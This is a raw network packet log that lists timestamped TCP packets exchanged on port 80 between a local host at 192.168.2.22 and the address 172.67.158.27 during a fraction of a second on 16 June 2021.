Jun 16, 2021 12:06:12.768517017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768537998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768563032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768563986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.768593073 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768610954 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768611908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.768636942 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768647909 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.768656015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.768706083 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.769367933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769387007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769398928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769418955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769443989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769460917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769481897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769481897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.769500971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769527912 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769546032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769562006 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.769567966 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.769659996 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.770335913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770354033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770373106 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770410061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770411968 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.770426989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770448923 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.770448923 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770478010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770494938 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770515919 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770515919 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.770540953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770569086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.770574093 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.771301031 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.771338940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.771368027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.771384001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.771434069 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.790726900 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790760994 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790800095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790828943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790857077 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790885925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790914059 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790954113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.790982008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.791007042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.791013002 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.791043997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.791044950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.791053057 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.791106939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.791162014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.791204929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.791266918 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.847583055 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.895082951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895195007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895252943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895303011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895354033 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895407915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895459890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895483017 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.895509005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895560026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895566940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.895608902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895658970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895708084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895715952 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.895756960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895807028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895855904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895899057 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.895904064 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.895953894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896002054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896051884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896095037 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.896101952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896152973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896214008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896250010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.896315098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896375895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896415949 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.896420002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896469116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896517992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896555901 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.896565914 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896615028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896662951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896712065 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896748066 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.896759987 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896809101 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896858931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896907091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.896944046 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.896956921 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897006035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897056103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897093058 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.897104979 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897154093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897202969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897238016 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.897253036 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897301912 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897351980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897392988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.897402048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897449970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897499084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897538900 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.897547960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897595882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897644997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897684097 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.897694111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897743940 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897793055 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897841930 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897876978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.897891045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.897954941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898039103 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898103952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898144007 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.898183107 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898242950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898302078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898363113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898406982 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.898425102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898485899 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898545980 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898605108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898648024 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.898664951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898725986 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898802996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898844957 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.898854971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898905039 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898953915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.898989916 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.899003029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899051905 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899101019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899146080 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.899182081 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899243116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899302959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899343967 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.899363041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899427891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899487972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899548054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899607897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899651051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.899667978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899728060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899791002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899888992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.899935961 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.899944067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900012016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900062084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900110960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900147915 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.900177002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900233984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900285006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900332928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900372982 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.900383949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900433064 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900481939 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900530100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900566101 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.900578022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900628090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900679111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900728941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900768042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.900779963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900830030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900877953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900918007 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.900928020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.900975943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901026011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901051998 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.901074886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901124001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901164055 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.901173115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901221991 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901271105 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901307106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.901319027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901391029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901441097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901489973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901527882 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.901537895 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901587963 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901638031 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901686907 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901725054 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.901736021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901783943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901834011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901882887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901922941 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.901932001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.901981115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902029991 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902077913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902116060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.902127028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902174950 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902225018 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902273893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902312040 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.902323008 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902374029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902421951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902596951 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902640104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.902652025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902700901 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902738094 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.902750969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902798891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902848005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902887106 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.902896881 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902945995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.902993917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903042078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903079987 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.903106928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903232098 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903280973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903331041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903373957 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.903382063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903446913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903496027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903546095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903594017 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903635025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.903642893 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903702974 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903733015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903763056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903789043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903801918 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.903827906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903860092 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903888941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903918028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903928995 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.903949022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.903978109 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.904006958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.904036045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.904043913 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.907571077 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.947407007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947490931 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947542906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947592020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947640896 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947690964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947705984 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.947740078 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947791100 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947839022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947886944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947926998 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.947935104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.947983027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948031902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948080063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948113918 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.948129892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948179960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948230028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948287964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948321104 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.948348999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948407888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948463917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948522091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948584080 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948618889 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.948646069 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948705912 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948766947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948827982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948873043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.948884010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948940039 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.948997021 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949028969 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.949058056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949119091 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949152946 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.949178934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949239016 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949299097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949337006 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.949359894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949420929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949476004 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949506044 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.949532032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949588060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:12.949623108 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:12.949644089 CEST	80	49169	172.67.158.27	192.168.2.22
